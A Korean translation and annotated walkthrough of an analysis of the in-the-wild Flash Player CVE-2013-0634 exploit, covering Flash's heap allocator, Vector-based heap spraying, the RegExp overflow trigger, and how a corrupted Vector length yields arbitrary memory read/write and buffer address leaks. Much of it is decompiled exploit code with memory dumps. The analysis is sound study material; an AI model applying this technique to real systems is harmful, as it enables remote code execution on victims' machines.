본문 바로가기

Project/Flash CVE 1-day Analysis

Flash Player Heap Exploitation Using Vector

Original Post

https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com...

PDF version of this post

Flash Player Heap Exploitation Using Vector.pdf
0.55MB

Flash Player Heap Exploitation Using Vector

Originally written by Haifei Li@Google Project Zero

 

Original Title : Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack

Introduction by Me, Myself

본 문서는 Haifei LiSmashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack 이라는 문서의 번역, 축소와 함께 저의 설명을 첨가 했습니다.

Introduction by Haifei Li

2013년 2월 7일 어도비사에서 경고한 두개의 0-day 취약점중, CVE-2013-0634를 이용한 in-the-wild exploit을 분석 한 내용으로 ASLR, DEP와 같은 현대의 보호기법을 Reliable하게 우회 및 공격 할 수 있어 분석 했습니다.

 

Introducing the Flash Player's Custom Heap Management

성능의 목적으로, Flash Player는 custom heap management를 이용합니다. 짧게 3가지 케이스의 allocation을 소개 하겠습니다.

Memory Block Allocation

요청이 다음과 같이 들어 올 경우:

  1. 0x7F0h보다 클 경우에[1], OS allocater에게 힙 할당을 요청후 반환합니다.
  2. 0x7F0h보다 작을 경우, small block이라 부릅니다. 이는 할당의 초기에 같은 사이즈의 freed-block이 존재하는지 검사 하고, 존재 할 경우 해당 블럭을 반환합니다. 그게 아니면, 3번의 케이스로 처리합니다.
  3. freed-block이 존재하지 않을 경우, 커다란 페이지 하나를 할당 한 후, 요청된 사이즈만큼 페이지를 Fragmentation 후, Linked list 형태로 Fragment를 묶습니다. 그 후 제일 첫번째 블락을 반환합니다.

그래서 힙의 전체적인 구조는 다음과 같습니다.

<Page Header>
<Block 1>
<Block 2>
...
<Block 3>

메모리를 한번 들여다 봅시다. 현재 보이는 페이지는 위 케이스중 3번째인 특정 블럭 사이즈만큼의 fragmentation이 이미 일어난 상태이고, 헤더를 보면서 한번 분석 해 보겠습니다.

03520000	00 04 01 00 18 00 00 00 00 30 53 03 38 13 53 03
03520010	00 20 82 03 00 0C 7C 03 00 E0 7E 03 10 03 52 03
03520020	00 20 82 03 00 E0 7E 03 01 00 01 01 40 00 52 03
03520030	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
03520040	68 DD B3 10 00 00 00 00 00 00 00 00 D0 99 76 03
03520050	00 00 00 00 00 00 00 00 70 DD B3 10 28 F6 7E 03
03520060	20 80 7D 03 40 00 52 03 68 35 5F 03 00 00 00 00
  • 4번째 Offset의 DWORD값은 현재 페이지가 어떤 Size의 힙을 관리하고 있는지를 나타냅니다. 지금은 0x18이니 24byte만큼의 힙 할당을 관리하는 페이지네요.
  • Page Header의 사이즈값이 0x40만큼이니 첫번째 Heap block0x40부터 시작 하네요. 제가 유추하건데 오프셋 0x2cDWORD값이 첫번째 Heap block을 나타내는듯 합니다.[2]
  • 그 후 *0x03520040가 첫번째 Heap block이고, 첫번째 오프셋의 DWORD를 보시면 다음 힙의 포인터를 나타내고 있습니다. 이와 같이 Single linked listmanaging-block, freed-block을 관리 합니다.

Flash PlayerHeap block 특징중 하나는,

  • 0x80보다 작은 사이즈의 힙은 모두 8-byte 단위로 align합니다. ex ) Alloc(0x3f) = 0x40 Size of block ex ) Alloc(0x22) = 0x28 Size of block
  • 0x80보다 큰 사이즈의 힙은 모두 16-byte 단위로 align합니다.

 

Memory Block De-allocation/Freeing

힙의 해제 과정은 간단합니다. 단순히 포인터를 Managing linked-list에서 해제 한 후, freed linked-list에 추가합니다. 이 과정은 위 메모리에서 보았듯이 힙의 첫번째 Offset DWORD의 값을 설정 함으로서 행위 할 수 있습니다.

사실 Adobe는 Adobe Reader와 꽤 비슷한 메모리 관리법을 가지고 있습니다. Adobe Reader의 힙 관리 방법에 대한 세부적인 연구 내용은 http://www.fortiguard.com/sites/default/files/Adobe_Readers_Custom_Memory_Management에서 찾아 볼 수 있습니다.

 

The Exploitation Process

본 문서는 in-the-wild exploit을 분석 한 내용이고, 오직 LadyBoyle이라는 Full exploitation code가 첨부된 decompiled 클래스밖에 없습니다.

변수명이 조잡할 수 있으니 이해 부탁드립니다.

 

Determining the Environment

공격이 가능한지에 대한 여부를 판단 하기 위한 코드를 사용 하였습니다.

Flash Player의 버전을 확인 하는 코드입니다.

this.version = Capabilities.version.toLowerCase().toString();
switch(this.version) {
	case "win 11,5,502,146": {
		break;
	}
	case "win 11,5,502,135": {
		break;
	}
	case "win 11,5,502,110": {
 		break;
	}
	case "win 11,4,402,287": {
		break;
	}
	case "win 11,4,402,278": {
		break;
	}
	case "win 11,4,402,265": {
		break;
	}
	default: {
		return this.empty();
		break;
	}
}

OS의 버전을 확인하는 코드입니다.

var _loc_19:* = Capabilities.os.toLowerCase().toString();
switch(_loc_19) {
	case "windows 7": {
		break;
	}
	case "windows server 2008 r2": {
		break;
	}
	case "windows server 2008": {
		break;
	}
	case "windows server 2003 r2": {
		break;
	}
	case "windows server 2003": {
		break;
	}
	case "windows xp": {
		break;
	}
	case "windows vista": {
		break;
	}
	default: {
		return this.empty();
		break;
	}
}

특정 버전이 아닐 경우 return this.empty()를 수행하여 익스플로잇을 중단시킵니다.

 

Spraying the Heap with ActionScript "Vector.<>" Objects

다음으로, 익스플로잇은 가장 중요한 작업을 수행합니다. 힙을 많은 Vector.<Number>Vector.<Object>객체를 할당 합니다. 다음 과정은 꽤 복잡할 수 있으니 천천히 하나씩 설명 해 보겠습니다.

처음엔 Vector.<Object>를 16개의 요소값과 함께 할당 합니다.

var obj:Vector.<Object> = new Vector.<Object>(16);

어도비 ActoinScript reference에 따르면, 모든 16개의 요소들은 다음을 뜻합니다.

Creates a new Vector instance whose elements are instances of the specified data type. When calling this function, you specify the data type of the result Vector's elements (the Vector's base type) using a type parameter. This function uses the same syntax that's used when declaring a Vector instance or calling the new Vector.() constructor

Vector.<Object>는 모든 ActionScript runtime class hierarchy의 root 클래스이기 때문에, 모든 ActionScript 오브젝트들은 Vector.<Object> 에 저장되기 충분 할것입니다.

다음으로 익스플로잇은 16개의 요소를 채우기 시작합니다.

첫번째로 obj[0]RegExp로 설정합니다.

obj[0] = new RegExp(_loc_24, "");

그러고, 다음의 8개 오브젝트(obj[1] ~ obj[8])를 Vector.<Number> 오브젝트로 채우고 각각의 Vector.<Number> 오브젝트는 16개의 요소를 갖게 합니다.

obj[1] = new Vector.<Number>(16);

이때, Vector.<Number>는 여전히 비어 있을것이고, 값을 넣어줌으로 초기화를 시켜 줍니다.

obj[1][0] = 0;
obj[1][1] = 0;
obj[1][2] = 0;
...
obj[1][13] = 0;
obj[1][14] = 0;
obj[1][15] = 1;

이 작업을 obj[1]에서 obj[8]까지 모두 수행 합니다. 이제 우리는 Vector.<Object>의 9개의 요소를 채웠고, 아직 7개의 요소를 채워야 합니다.

남은 7개의 요소는 Vector.<Number>가 아닌 대신, 32개의 요소를 가지고 있는 Vector.<Object>로 채웁니다. 코드는 다음과 같습니다.

obj[9] = new Vector.<Object>(32);
obj[9][0] = null;
obj[9][1] = _loc_6;
obj[9][2] = _loc_4;
obj[9][3] = _loc_4;
obj[9][4] = _loc_4;
...
obj[9][28] = _loc_4;
obj[9][29] = _loc_4;
obj[9][30] = _loc_4;
obj[9][31] = _loc_4;

위에서 볼 수 있듯이, 32개의 요소는 초기화됩니다. 첫번째는 null로 초기화되고, 두번째는 _loc_6이라는 Sound() 클래스 인스턴스로 초기화됩니다.

var _loc_6:* = new Sound();

나머지 요소들(3번째 요소부터)은 _loc_4라는 ByteArray() 인스턴스로 초기화됩니다.

var _loc_4:* = new ByteArray();

이제 간단히 정리를 해 보겠습니다.

  • objVector.<Object>(16)로 할당 되었습니다.

  • obj[0]RegExp로 초기화 되었습니다.

  • obj[1]에서 obj[8]Vector.<Number>(16)로 초기화 되었습니다.

  • obj[9]에서 obj[15]Vector.<Object>(32)로 초기화 되었습니다.

    • obj[9][0]은 null로 초기화 되었습니다.
    • obj[9][1]Sound()로 초기화 되었습니다.
    • obj[9][2]에서 obj[9][31]까지는 ByteArray()로 초기화 되었습니다.

 

이제 이 16개의 Vector.<Object>는 다시 한번 루프를 돌면서 0x4000개의 새로운 root object를 할당 하고, 메모리 주소의 더 상위에 있는 _loc_5라는 root object에 넣습니다.

_loc_1 = 0;
while (_loc_1 < 0x4000)
{
	//allocate a "obj"
	var obj:Vector.<Object> = new Vector.<Object>(16);
	
	//initialize the "obj"
	...
	
	//save the pointer to "_loc_5"
	_loc_5[_loc_1] = obj;
	_loc_1++
}

 

Memory Structure of "Vector.<Number>" and "Vector.<Object>"

위에서 보았듯이, 이전의 과정은 heap-spray 과정과 비슷한 작업을 하고 있습니다. 우리는 오브젝트가 어떤 구조를 가지는지 앎으로서 메모리가 어떤 그림인지 이해하는것은 익스플로잇이 어떻게 동작 하는지에 대해 이해하는데에 중요합니다.

사실 모든 액션스크립트 오브젝트는 오브젝트의 모든 정보에 대해 링킹하고 있는 클래스를 가지고 있습니다. 이 클래스에 대해 알아야 하는것은, instanced memory는 object structure에 존재하지 않지만, instanced memory의 포인터가 object structure에 있습니다.

Vector.<Number>(16)0x90의 메모리 구조를 가지고 있습니다. 그리고 다음과 같은 메모리 구조를 가지고 있습니다:

0635B2F0	10 00 00 00 00 30 53 03 00 00 00 00 00 00 00 00
0635B300	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B310	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B320	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B330	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B340	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B350	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B360	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0635B370	00 00 00 00 00 00 F0 3F 00 00 00 00 01 00 00 00
  • 첫번째 DWORDVector 오브젝트의 요소 개수입니다. 이 케이스에서는 우리가 16개의 Number를 가지고 있기 때문에 값이 0x10인 것입니다.
  • 두번째 DWORD는 클래스 구조와 관련된 포인터이지만 여기서는 상관 쓰지 않을것입니다.
  • Offset 8에서 16까지가 Number[0]을 나타내는데, ActionScript가 IEEE-754 double-precision floating-point number를 지원함에 따라 8-byte의 메모리가 필요 한것입니다.

이제 다음을 간단히 표로 나타내 보겠습니다.

Number_of_elements("n") DWORD
Uncared1 DWORD
Number[0] QWORD
Number[1] QWORD
... QWORD
Number[n-1] QWORD

그렇다면 위 메모리를 다시 보겠습니다. 한개의 Number 요소가 8바이트, 헤더 8바이트이니 Vector.<Number>(16)의 시작 주소에 128(=8*(15+1))을 더한 값이 마지막 Number element일 것입니다.

그렇다면 0x0635b2f0+128의 주소값인 0x0635b370을 보면, 0x3ff00000인데 이는 아까 말한 IEEE-754에 따라 1이 되는것입니다.

...
obj[1][14] = 0;
obj[1][15] = 1;

 

인스턴스화된 Vector.<Object>(32)의 메모리 또한 0x90의 길이이고 메모리 구조는 조금 다릅니다.

06350040	E0 C6 B2 10 20 00 00 00 01 00 00 00 21 60 90 03
06350050	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350060	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350070	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350080	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350090	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
063500A0	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
063500B0	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
063500C0	89 DB BA 03 89 DB BA 03 00 00 00 00 00 00 00 00

 

After the Spraying: The Memory Picture

우리가 얘기 했듯이, Vector.<Number>(16)Vector.<Object>(32) 둘다 0x90의 길이의 메모리 공간을 가지고 있습니다. 그렇다면 obj[0]을 제외한 15개의 0x90 길이의 메모리 블락을 할당 할것이고, 최종적으로 블럭의 개수는 0x3c000개에, 거의 0x21c0000(~33M)만큼의 가상 메모리가 할당 되었을 것입니다.

 

Leaving the Hole: Freeing the Heap Block

자 이제 우리는 엄청 많은 0x90크기의 메모리 블록을 가지고 있습니다. 이번 단계에서는 익스플로잇이 몇개의 nullobj에 넣을 것입니다. 이를 통해 관련된 메모리를 해제 할 수 있습니다.

_loc_1 = 0x2012;
while (_loc_1 < (0x4000 - 1))
{
	if (_loc_1 % 2 != 0)
	{
		_loc_5[_loc_1][2] = null;
	}
	_loc_1 = _loc_1 + 1;
}

여기서 볼 수 있듯이, 나중에 할당된 오브젝트들 중 홀수인 오브젝트만 해제 될 것입니다.

obj[2]가 사실 Vector.<Number>(16)인것으로 간주하면 관련 0x90길이의 블록 Vector.<Number>(16)이 해제됩니다. 모든 해제 과정을 거치고 나면 메모리는 다음과 같은 구조를 지니게 될것입니다.

Growth Object Index Heap Status
Low obj[1] in-use
| obj[2] freed
| obj[3] in-use
| obj[4] in-use
| obj[5] in-use
| obj[6] in-use
V obj[7] in-use
High obj[8] in-use

 

Triggering the Vulnerability

이 글의 요점은 익스플로잇의 작성이기에 취약점에 대해서는 간략한 설명만 하겠습니다.

다음 코드가 취약점을 트리거 하는데 쓰였습니다.

_loc_2 = "(?i)()()(?-i)||||||||||||||||||||||";
var _loc_20:* = new RegExp(_loc_2, "");

여기서 볼 수 있듯이, 악의적인 정규 표현식 문자열이 RegExp 클래스로 핸들링 됩니다. 우선 힙 사이즈가 계산되고 할당 되어 반환 됩니다. 반한된 힙에는 몇몇 데이터가 복사해 들어갈 것입니다. 하지만 힙 사이즈 계산하는 함수가 조그만한 사이즈를 반환 해 주는 문제가 있어 heap-based overflow가 발생합니다.

위의 정규 표현식에서, 계산되는 블럭의 사이즈는 0x85이고 실제 힙 메모리는 0x90의 사이즈 값을 가지게 될 것입니다.

그러므로 취약한 힙 블럭은 0x90만큼 길이의 블록중 하나를 골라 할당 될 것이고 이는 이전 단계에서 스프레이 후 해제된 데이터중 하나가 선택되어 할당 될 것입니다.

Growth Object Index Heap Status
Low obj[1] in-use
| obj[2] in-use, vulnerable
| obj[3] in-use
| obj[4] in-use
| obj[5] in-use
| obj[6] in-use
V obj[7] in-use
High obj[8] in-use

obj[2]에서 obj[3]으로 오버플로우 될 것인데, 0x90만큼의 메모리에 0xb0만큼 써서 heap-overflow가 발생 하므로 obj[3]의 32바이트만큼 corrupt 할 것이고, 메모리는 다음과 같을 것입니다.

05A845C0 C0 4E A8 05 85 00 00 00 01 08 00 00 00 00 00 00 繬??........
05A845D0 02 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 .......(.......
05A845E0 00 00 00 00 00 00 00 00 5D 00 15 5E 00 05 00 01 ........].^..
05A845F0 54 00 05 5E 00 05 00 02 54 00 05 18 00 53 00 05 T.^..T..S.
05A84600 18 00 53 00 05 18 00 53 00 05 18 00 53 00 05 18 .S..S..S.
05A84610 00 53 00 05 18 00 53 00 05 18 00 53 00 05 18 00 .S..S..S..
05A84620 53 00 05 18 00 53 00 05 18 00 53 00 05 18 00 53 S...S...S...S
05A84630 00 05 18 00 53 00 05 18 00 53 00 05 18 00 53 00 ....S..S..S.
05A84640 05 18 00 53 00 05 18 00 53 00 05 18 00 53 00 05 .S..S..S.

05A84650 18 00 53 00 05 18 00 53 00 05 18 00 53 00 05 18 .S..S..S.
05A84660 00 53 00 05 18 00 53 00 05 18 00 54 00 83 00 00 .S..S..T.?.
05A84670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05A84680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05A84690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05A846A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05A846B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05A846C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
05A846D0 00 00 00 00 00 00 F0 3F 00 00 00 00 01 00 00 00 ......?.......

0x05a845c0obj[2]의 주소입니다. obj[2]+0x900x05a84650obj[3]이고 보시는것과 같이 corrupt 되어 있습니다.

문제는 obj[3]Number of elements값을 corrupt하여 obj[3]의 길이가 0x530018로 바뀌었습니다.

 

Locating the Corrupted Vector.<Number>(16)

이전에서 보았듯이 익스플로잇은 힙을 조심스럽게 박살내어(?) obj[3]가 corrupt 되게 만들었습니다. 하지만 우리가 스프레이를 했음으로서 오는 문제로, 어떻게 corrupted된 heap을 알아내는지가 중요합니다.

이것을 되게 똑똑하게 풀어 내었는데, 모든 Vector.<Number>의 사이즈를 17보다 큰지 검사 했습니다. 코드는 다음과 같습니다.

var _loc_21:Boolean = false;
var _loc_22:uint = 0;
_loc_1 = 0;
while (_loc_1 < 0x4000) {
	if (_loc_21) {
		break;
	}
	_loc_8 = 1;
	while (_loc_8 <= 8) {
		try {
			if ((_loc_5[_loc_1][_loc_8] as Vector.<Number>).length > 17) {
				_loc_7 = _loc_1;
				_loc_22 = _loc_8;
				_loc_21 = true;
				break;
			}
		}
		catch (e:Error) {
		}
		_loc_8 = _loc_8 + 1;
	}
	_loc_1 = _loc_1 + 1;
}
if (!_loc_21) {
	while (1) {
	}
}

PS: 여기서 흥미로운점은 만약 corrupt된 Number를 찾지 못했을 경우, 무한루프를 돌게 하여 전체 액션스크립트가 정지하게 해 크래쉬를 방지 했다는 것입니다. 후의 익스플로잇 코드에도 다음과 같은 작업이 많이 진행 됩니다.

 

Faking a Vector.<Number> with Infinite Elements

그래서 이제 우리는 obj[3]을 찾아 내어서 특정 범위 내의(0x10보다 훨씬 큰) 데이터를 마음대로 조작 할 수 있게 되었습니다. 다음으로 우리는 다음 오브젝트의 데이터(obj[4].length)를 조작해 모든 메모리 영역에 읽기/쓰기가 수행 되게 할 것입니다.

if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17)[0] == 0x10)
{
	_loc_9 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17)[1];
	(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[17] = this.UintToDouble(0xFFFFFFFF, _loc_9);
	(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[18] = this.UintToDouble(0x41414141, 0);
...

코드를 이해하기 위해 몇가지 알아 두어야 할 것이 있습니다.

There are something need to be discussed first in order to understand the code. "ReadDouble(parm1, param2)" is a sub-function, it simply reads out the parm1[param2] and transfer the "double"/"Number" value to 2 DWORDs. It's exactly the same 2-DWORD as we see in the memory. The another sub-function "UintToDouble(dword1, dword2)" is actually doing the reversed job – transferring the 2 DWORDs to Number.

--> 한마디로 ReadDouble은 Number[i]의 첫번째 DWORD와 두번째 DWORD를 반환 해 주고, UintToDouble은 반대인듯

obj[3][17]obj[4]와 같습니다. 그래서 obj[3][17]의 첫번째 DWORD와 두번째 DWORD를 읽고 바꾸는 과정을 통해 obj[4]의 길이값을 corrupt 해 전역 read/write가 가능 해지는것입니다.

메모리 구조는 다음과 같습니다.

05A846D0 	00 00 00 00 00 00 F0 3F / 00 00 00 00 01 00 00 00 
05A846E0 	10 00 00 00 00 30 4C 03 / 00 00 00 00 00 00 00 00 

총 4개의 8바이트 블락으로 나누어 표현 해 봤습니다. 첫번째 블락이 obj[3][15]이고, 두번째 블락이 obj[3][16]입니다. 여기서 왜 obj[3][16]obj[4]가 아닌지 하면, 힙 할당의 규칙에서 0x80보다 큰 블락은 무조건 0x10단위로 align 하기 때문입니다. 그렇다면 obj[3][17]obj[4]임을 알 수 있습니다.

여기서 데이터를 쓰면,

05A846E0 FF FF FF FF 00 30 4C 03 41 41 41 41 00 00 00 00
…

다음과 같은 구조가 되어 obj[4]의 길이값을 조정함을 통해 전역의 메모리에 대한 접근이 가능해집니다.

여기서 유의 해야 할 점은, 표현하는 방식을 obj[index]와 같이 표현 했지만, 실제 메모리의 정렬과 ActionScript에서의 정렬은 그렇지 않을 수도 있다는 점입니다. 그래서 익스플로잇은 다시 한번 0x41414141을 검색 하여 공격의 안정성을 높였습니다.

_loc_21 = false;
_loc_1 = 0;
while (_loc_1 < 0x4000) {
	if (_loc_21) {
		break;
	}
	_loc_8 = 1;
	while (_loc_8 <= 8) {
		try {
			if (this.ReadDouble(_loc_5[_loc_1][_loc_8] as Vector.<Number>, 0)[0] == 0x41414141) {
				_loc_7 = _loc_1;
				_loc_22 = _loc_8;
				_loc_21 = true;
				break;
			}
		}
		catch (e:Error) {
		}
		_loc_8 = _loc_8 + 1;
	}
	_loc_1 = _loc_1 + 1;	
}

이제 전역 메모리에 대한 읽기와 쓰기가 가능해졌습니다.

 

Correcting the obj[3]

obj[3]이 corrupt되었기 때문에, 다음 코드를 이용해 원래대로 복구 합니다.

(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1FFFFFED] = this.UintToDouble(0x10, _loc_9)

 

Searching for a Vector.<Object>(32)

이전 단계에서 우리는 Vector.<Number>(16) 를 다룸으로서 취약점을 트리거하고 안정적인 익스플로잇 단계를 진행 할 수 있도록 토대를 마련 했습니다.

이제 Vector.<Object>(32)를 다룸으로서 익스플로잇에 필요한 메모리 릭과 eip변조를 진행 할 것입니다.

Memory structure 에서 다뤘듯이, Vector.<Object(32)는 다음과 같은 메모리 구조를 가지고 있습니다.

06350040	E0 C6 B2 10 20 00 00 00 01 00 00 00 21 60 90 03
06350050	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350060	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350070	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350080	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
06350090	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
063500A0	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
063500B0	89 DB BA 03 89 DB BA 03 89 DB BA 03 89 DB BA 03
063500C0	89 DB BA 03 89 DB BA 03 00 00 00 00 00 00 00 00

요소의 길이와 첫번째 요소의 값이 각각 2번째, 3번째 DWORD에서 보입니다. 이를 통해 Vector.<Object>(32)를 찾는 작업을 수행 합니다.

_loc_1 = 0;
while (_loc_1 < 0x1000) {
	if (this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1)[1] == 0x20 && this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, (_loc_1 + 1))[0] == 1) {
		_loc_11 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, (_loc_1 + 1))[1] & 0xFFFFFFF8;
		_loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_1 + 2)[0] & 0xFFFFFFF8;
		_loc_13 = _loc_12;
		break;
	}
	_loc_1 = _loc_1 + 1;
}

Vector.<Object>(32)를 찾는다면, Sound()ByteArray()의 오브젝트 주소값을 가져 와 각각 _loc_11, _loc_12에 저장 합니다.

Atom에 대해 설명 했듯이, 마지막 비트를 제거 하기 위해 & 연산을 수행 합니다.

또한 찾지 못했다면, 다음과 같은 과정으로 정리 후 익스플로잇을 중단합니다.

if (_loc_1 == 0x1000) {
	(_loc_5[_loc_7][_loc_22] as Vector.<Number>)[0x1FFFFFFF] = this.UintToDouble(0x10, _loc_9);
	return;
}

 

Calculating the Address of obj[4] by Leveraging the De-allocation

우리는 obj[4]를 이용해서 전역의 메모리에 읽기와 쓰기 작업을 수행 할 수 있습니다. 하지만 몇가지 제한이 있습니다. 현재 obj[4]의 주소값을 모르기 때문에 obj[4]를 기준으로 오프셋 계산을 통해 정확한 데이터 읽기와 쓰기가 불가능합니다.

이를 위해 이번 단계에서는 obj[4]의 주소값을 읽어 전역 메모리에 대한 정확한 읽기와 쓰기가 가능하게 만들겠습니다.

공격자는 일단 다음과 같은 과정을 수행 했습니다.

_loc_1 = 0;
while (_loc_1 < 0x4000) {
	_loc_8 = 1;
	while (_loc_8 <= 8) {
		if (!(_loc_1 == _loc_7 && _loc_8 == _loc_22)) {
			_loc_5[_loc_1][_loc_8] = null;
		}
		_loc_8 = _loc_8 + 1;
	}
	_loc_1 = _loc_1 + 1;
}

위의 코드는 obj[4]를 제외한 모든 Vector.<Number>(16)를 힙에서 해제합니다. 이를 위해 obj[3]에 대해 복구하는 작업을 수행 한것입니다.

요점은, Flash Player의 힙 관리 기법에서 설명 했듯이, 메모리가 해제될 경우 해제된 메모리의 첫번째 DWORD는 다음 해제된 포인터를 가르킨다는 것입니다. 이때 obj[3], obj[4], obj[5]의 메모리를 각각 확인 해 보겠습니다.

in-use obj[4]

058674A0 FF FF FF FF 00 30 4B 03 41 41 41 41 00 00 00 00
058674B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058674C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058674D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058674E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058674F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867520 00 00 00 00 00 00 F0 3F 00 00 00 00 00 00 00 00

freed obj[5]

05867530 C0 75 86 05 00 30 4B 03 00 00 00 00 00 00 00 00
05867540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058675A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058675B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

freed obj[6]

058675C0 50 76 86 05 00 30 4B 03 00 00 00 00 00 00 00 00
058675D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
058675E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
058675F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
05867640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  • obj[4]obj[5]는 물리적으로 인접한 영역임을 확인 할 수 있습니다.
  • obj[5]의 첫번째 DWORDobj[6]의 주소값인것을 알 수 있습니다.

그렇기에, 익스플로잇은 obj[4]의 주소값을 판단하기 위해 다음과 같은 로직을 사용합니다.

_loc_1 = 1;
while (_loc_1 < 4) {
	_loc_29 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17 * _loc_1 + (_loc_1 - 1));
	_loc_30 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, 17 * (_loc_1 + 1) + _loc_1);
	if (_loc_29[1] == _loc_9 &&
		_loc_30[1] == _loc_9 &&
		_loc_29[1] <  _loc_29[0] &&
		_loc_30[1] <  _loc_30[0] &&
		_loc_30[0] - _loc_29[0] == 0x90)
	{
		_loc_10 = _loc_29[0] - 0x90 * (_loc_1 + 1);
		break;
	}
	_loc_1 = _loc_1 + 1;
}

obj[5]obj[6]을 비교 해 두 포인터의 차가 0x90인 경우 적절한 계산을 수행 해 _loc_10obj[4]의 포인터를 저장 합니다.

 

Reading the Address of Shellcode

obj[4]의 주소값을 앎으로서 우리는 이제 전역 메모리에 대한 정확한 읽기와 쓰기 작업을 간단한 계산을 통해 수행 할 수 있습니다. 해당 작업을 의사 코드로 나타내 보았습니다.

element_order = (target_address - base_obj4 - 8) / 8;
ReadDouble(obj[4], element_order);

다음으로 익스플로잇은 이전에 인스턴스화된 ByteArray()의 버퍼에 데이터를 채웁니다.

_loc_1 = 0;
while (_loc_1 < 0x400 * 0x64) {
	_loc_17.writeUnsignedInt(0x41414141);
	_loc_1 = _loc_1 + 1;
}

그 후에 ByteArray() 주소(_loc_12)의 버퍼에는 많은 'A'가 차있을것입니다. ByteArray() 오브젝트의 구조는 다음과 같습니다:

03895B88 60 C8 B2 10 FF 00 00 60 B8 DC 77 03 90 A1 79 03
03895B98 A0 5B 89 03 40 00 00 00 18 C8 B2 10 20 C8 B2 10
03895BA8 14 C8 B2 10 D0 49 B6 10 80 C0 57 03 00 30 4B 03
03895BB8 20 AE 87 03 00 00 00 00 00 40 06 00 D4 E5 B3 10
03895BC8 E8 71 4A 03

오프셋 0x40의 주소를 계속 덤프 해 보겠습니다.

034A71E8 78 BE B2 10 01 00 00 00 00 50 E1 06

오프셋 8에서 우리는 0x06e15000 포인터를 찾을 수 있습니다. 사실 이것은 ByteArray 오브젝트의 실질적인 버퍼의 주소입니다.

06E15000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
06E15010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
..

따라서 우리는 어떻게 이 버퍼에 접근 할 수 있는지 계산 할 수 있습니다.

lpBytesBuff = [ [ lpByteArrayObject + 0x40 ] + 0x08 ]
//_loc_12 is the pointer of the ByteArray object, reading the pointer at offset 0x40
_loc_15 = (_loc_12 + 0x40 - _loc_10 - 8) / 8;
_loc_12 = this.ReadDouble(_loc_5[_loc_7][_loc_22] as Vector.<Number>, _loc_15)[0];

